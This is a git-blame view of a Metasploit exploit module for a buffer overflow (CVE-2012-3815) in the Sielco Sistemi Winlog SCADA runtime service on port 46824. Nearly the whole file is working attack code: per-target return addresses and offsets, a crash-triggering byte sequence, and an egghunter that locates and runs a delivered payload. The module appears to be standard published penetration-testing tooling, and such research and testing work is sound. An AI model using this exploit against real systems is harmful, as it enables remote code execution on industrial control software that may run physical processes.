Files
metasploit-gs/modules/exploits/windows/scada/winlog_runtime_2.rb
T

Ignoring revisions in .git-blame-ignore-revs. Click here to bypass and see the normal blame view.

97 lines
2.8 KiB
Ruby
Raw Normal View History

2012-06-13 13:18:47 -05:00
##
2017-07-24 06:26:21 -07:00
# This module requires Metasploit: https://metasploit.com/download
2013-10-15 13:50:46 -05:00
# Current source: https://github.com/rapid7/metasploit-framework
2012-06-13 13:18:47 -05:00
##
2016-03-08 14:02:44 +01:00
class MetasploitModule < Msf::Exploit::Remote
2012-06-13 13:18:47 -05:00
Rank = NormalRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::Egghunter
def initialize(info = {})
super(update_info(info,
2012-06-22 13:18:45 +02:00
'Name' => 'Sielco Sistemi Winlog Buffer Overflow 2.07.14 - 2.07.16',
2012-06-13 13:18:47 -05:00
'Description' => %q{
2012-06-22 13:18:45 +02:00
This module exploits a buffer overflow in Sielco Sistem Winlog <= 2.07.16.
2012-06-13 13:18:47 -05:00
When sending a specially formatted packet to the Runtime.exe service on port 46824,
an attacker may be able to execute arbitrary code.
},
'License' => MSF_LICENSE,
'Author' =>
[
2013-03-30 12:41:31 +01:00
'Michael Messner <devnull[at]s3cur1ty.de>'
2012-06-13 13:18:47 -05:00
],
'References' =>
[
[ 'BID', '53811'],
2012-07-02 20:33:15 +02:00
[ 'CVE', '2012-3815'],
[ 'OSVDB', '82654'],
2012-06-22 13:18:45 +02:00
[ 'EDB', '18986'],
[ 'URL', 'http://www.s3cur1ty.de/m1adv2012-001' ],
2012-06-13 13:18:47 -05:00
[ 'URL', 'http://www.sielcosistemi.com/en/download/public/winlog_lite.html' ]
],
'DefaultOptions' =>
{
2015-09-01 10:46:54 +02:00
'EXITFUNC' => 'thread',
2012-06-13 13:18:47 -05:00
},
'Platform' => 'win',
'Payload' =>
{
'Space' => 2000,
'BadChars' => "\x00",
'DisableNops' => true,
},
'Targets' =>
[
2012-06-22 13:18:45 +02:00
[ 'Sielco Sistemi Winlog 2.07.14/2.07.16 - Ceramics Kiln Project',
2012-06-13 13:18:47 -05:00
{
'Ret' => 0x405153df,
'Offset' => 167,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
[ 'Sielco Sistemi Winlog 2.07.14 - Automatic Washing System Project',
{
'Ret' => 0x405153df,
'Offset' => 151,
}
], # Jmp ESP - Vclx40.bpl - 0x405153df
#The reliability depends on the actual project. We need to generate some more
#targets. Two of them for the default project and one other project is now available.
],
'Privileged' => false,
2020-10-02 17:38:06 +01:00
'DisclosureDate' => '2012-06-04',
2012-06-13 13:18:47 -05:00
'DefaultTarget' => 0))
register_options([Opt::RPORT(46824)])
2012-06-13 13:18:47 -05:00
end
def exploit
connect
egghunter,egg = generate_egghunter(payload.encoded, payload_badchars)
print_status("Placing the shellcode")
shellcode = rand_text_alpha(2000)
shellcode << egg
sock.put(shellcode)
select(nil,nil,nil,1)
buffer = rand_text_alpha(20)
buffer << "\x14" * 10 #trigger the crash
buffer << rand_text_alpha(target['Offset'])
buffer << [target.ret].pack('V')
buffer << egghunter
buffer << rand_text_alpha(69 - egghunter.length)
print_status("Trying target #{target.name}...")
sock.put(buffer)
handler
disconnect
end
end